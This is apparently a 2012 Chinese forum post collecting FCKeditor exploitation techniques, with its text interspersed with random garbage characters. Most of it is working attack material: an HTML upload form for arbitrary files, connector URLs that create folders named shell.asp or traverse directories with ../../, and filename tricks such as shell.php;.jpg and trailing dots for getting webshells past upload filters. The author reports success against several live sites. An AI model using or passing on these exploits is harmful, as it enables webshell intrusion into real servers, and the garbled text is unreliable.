Fckeditor漏洞利用总结
5 T; ~0 `. |" D K查看编辑器版本* \8 v4 u) e/ U: x* g# k; N+ U
FCKeditor/_whatsnew.html0 M1 c5 E( }: a! o9 x! ]: m, M
—————————————————————————————————————————————————————————————. `2 S" Z$ i& f0 r) J" P2 v% `' j6 m
) u' V% |) V* ^; s( @# `
2. Version 2.2 版本
7 m1 y, S- V3 U# g$ p' L9 G' s) f! x' sApache+linux 环境下在上传文件后面加个.突破！测试通过。
7 ~! T0 y; F0 E E- K—————————————————————————————————————————————————————————————
% ]3 R D5 E, E- ~0 ]6 K0 T, O( t6 V4 o( j) j9 \# }/ D
3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制，导致用户上传任意文件！将以下保存为html文件，修改action地址。
8 u0 F/ r: d0 E, \, P<form id="frmUpload" enctype="multipart/form-data"
# l1 k2 B. v [' h: {2 ]1 ^action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>) b m/ W2 B3 ]$ C( a# _
<input type="file" name="NewFile" size="50"><br>
) \6 {2 J( w4 n4 P% c6 g- w<input id="btnUpload" type="submit" value="Upload">& M# z$ X1 `7 G" I$ H# B
</form>
( T! G$ E( j# C# Q, t—————————————————————————————————————————————————————————————
% r- C, R* w! s' o* S- H) M0 W: B* P5 M
4.FCKeditor 文件上传“.”变“_”下划线的绕过方法
+ E' `/ W& n+ @ 很多时候上传的文件例如：shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。
/ w8 Y# z ?: D5 y, s 4.1：提交shell.php+空格绕过
# ^; i1 o$ L+ ^不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。
# \6 L, c+ k( G/ S1 z4 c, ]1 i 4.2：继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹，只检测了第一级的目录，如果跳到二级目录就不受限制。
: x+ X; J( B! r- F7 Z4 o6 O—————————————————————————————————————————————————————————————
5 E5 N7 g; P& i2 F G3 `+ f- n$ u# G6 `- K; X3 A
5. 突破建立文件夹, s' a0 l2 D" _, m6 C* g8 [
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
( q, W9 E5 q% }, }3 `1 A: X* FFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp* `# H: z) Y; \- W
—————————————————————————————————————————————————————————————
; f' _4 r X4 z) {$ ^: I& \! h5 Y" z
6. FCKeditor 中test 文件的上传地址% Q+ a7 J5 ~: [# ?6 k/ {7 q9 w; J
FCKeditor/editor/filemanager/browser/default/connectors/test.html- U) _2 R! i8 F( s% \
FCKeditor/editor/filemanager/upload/test.html- N& m2 N/ `, i4 D2 ?) a
FCKeditor/editor/filemanager/connectors/test.html
/ X& g* t$ B$ h9 G6 JFCKeditor/editor/filemanager/connectors/uploadtest.html
- t E2 t- ~8 E, F8 d5 p: V—————————————————————————————————————————————————————————————" U. T# g; h: j+ x
5 }9 `2 H9 t v7 w- C2 ?' Y9 r5 [7.常用上传地址
3 s. r) X# O" i1 v3 T( r: n; n' o! \FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
: R+ t, K8 V$ z2 WFCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp f t0 {+ S6 v% _8 d6 j2 f
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)2 O8 B* ~. g+ n
JSP 版：
, {" u/ g l) V2 `# \4 {6 SFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
: f1 }3 `( O. T. P& `注意红色部分修改为FCKeditor 实际使用的脚本语言，蓝色部分可以自定义文
4 C; s3 k2 L6 K" n, n' z. W l2 F: q7 m件夹名称也可以利用../..目录遍历，紫色部分为实际网站地址。9 d9 `' l: `. }( y5 B
—————————————————————————————————————————————————————————————
% X O' \; J; \( {7 x( }: @$ @) r% y+ w/ v" T; T+ [/ k4 J4 H
8.其他上传地址
3 `$ v) h4 v- p( i3 [2 I8 D8 jFCKeditor/_samples/default.html. G* L8 @$ P3 D4 G% ~
FCKeditor/_samples/asp/sample01.asp
$ x& z% M% s5 jFCKeditor/_samples/asp/sample02.asp' J+ }$ \6 @% l2 P4 G
FCKeditor/_samples/asp/sample03.asp
& q3 s3 u2 a& f( JFCKeditor/_samples/asp/sample04.asp
% }/ J4 x F5 L! `一般很多站点都已删除_samples 目录，可以试试。4 K4 Y$ @) k% Y8 u2 y/ K
FCKeditor/editor/fckeditor.html 不可以上传文件，可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。6 N1 ~$ s: _4 b$ G+ n
—————————————————————————————————————————————————————————————
! B8 ]- g, F- \( Q6 s4 }' U0 Q
6 S* ?2 D& a% g) Y0 R1 s- [9.列目录漏洞也可助找上传地址
! K- g% [1 J, Z3 JVersion 2.4.1 测试通过/ _: x5 H8 a+ V* Y9 O; S" Y
修改CurrentFolder 参数使用 ../../来进入不同的目录0 R$ V, x" B/ U! B* s
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp$ G- l2 w* k, n- @
根据返回的XML 信息可以查看网站所有的目录。- V( b: T% a7 o8 ?$ D
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F; N* e& h% r6 r
也可以直接浏览盘符：
- g# g1 h" T4 t! f' [JSP 版本：5 H# R+ n* G7 w. y& Q$ f9 t& i
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
( D% P8 O1 ]9 `0 t3 q: X—————————————————————————————————————————————————————————————# f. M3 l7 C# S! N
3 U4 c, C, u" a$ {( O; x10.爆路径漏洞: q% @: S: w5 G, D; Y" G
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp% F1 s3 j& A# w! D X
—————————————————————————————————————————————————————————————6 J n! }4 y7 o0 `% ~# m9 p
' R! g3 G, c, G) d+ b11. FCKeditor 被动限制策略所导致的过滤不严问题
9 D2 U' e) ~, W( ]% A 影响版本: FCKeditor x.x <= FCKeditor v2.4.3, P( {/ C3 D2 M0 F/ c& g" S G
脆弱描述：
; I. D& r. W- F3 O- u; m" [& ?FCKeditor v2.4.3 中File 类别默认拒绝上传类型：
$ `/ Q6 Y0 k1 }3 q+ ahtml|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm: @1 ^, i. F8 d& k
Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName，而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!% x5 g7 G$ ~+ Q; r8 J) Z6 Y
而在apache 下，因为"Apache 文件名解析缺陷漏洞"也可以利用之，另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码，其限制最为狭隘。
9 |* _, _) v4 R6 N' J/ { 在上传时遇见可直接上传脚本文件固然很好，但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过，也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!7 M- J8 ?7 N _+ b! }! M$ Q: i5 P2 q
—————————————————————————————————————————————————————————————, q/ G' |1 A! O$ R
+ c* d5 V4 w9 \0 r# a, u; ]0 A
12.最古老的漏洞，Type文件没有限制！% S7 Z$ ]6 a2 j! Z+ g
我接触到的第一个fckeditor漏洞了。版本不详，应该很古老了，因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹，一个新类型，没有任何限制，可以上传任意脚本！
9 x+ V* M! T% ` {. q—————————————————————————————————————————————————————————————& N' t5 D# U) k, ?1 ^( I* x
' p* q$ s$ u/ P) v- x2 k: }0 f" `===============================================================================================================================================( y! T2 a/ x; N! D" n
. h }& h5 N, @9 `6 S2 r( t
FCK编辑器jsp版本漏洞：$ \( l% m% `2 Y- a9 ^; Y: [
& i' Q5 M+ N% E v- P5 V
6 A- o, D8 a, e4 Chttp://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F' L0 x s. i1 H& C3 A5 e
+ A9 u. x5 q! {: F: Q# K' F
上传马所在目录3 h2 ^) g; }; F" V* ~* \1 ~
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
% `6 O% x1 L; {: _$ {) f. \& R4 R上传shell的地址:
7 q- L7 e% Y, N: z* {9 X; {, ]! ihttp://www.xxx.com/fckeditor/edi ... ctors/jsp/connector
5 U6 k8 S1 C/ s跟版本有关系.并不是百分百成功. 测试成功几个站., `) [; E% D: L+ n# I' R
不能通杀.很遗憾.2 ]! M. ~9 u7 p- k) X, Z4 p+ O
http://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector
* M% I% Y; B- D3 X- ?如果以上地址不行可以试试
8 i# L- {, Z! ]4 RFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector( p; X! E2 f6 S$ P8 r _, y
FCKeditor/_samples/
# S5 k2 j: e2 ] b0 {' dFCKeditor/_samples/default.html) ~" w; I; r) C Y3 g9 n, |
FCKeditor/editor/fckeditor.htm" Y) A5 y* u' M4 h6 u$ L4 k
FCKeditor/editor/fckdialog.html- |; c9 R# I' h7 d
; a# L; ^+ G, t' A
3 h: `; N& g3 ^" s. ~
# k* K$ B' H: [/ d6 Z解析漏洞+未重命名文件时上传漏洞 1.asp;jpg
2 s3 L& I# T5 |7 P9 b, A$ N9 r |
发表于 2012-9-13 17:01:39
收藏
支持
反对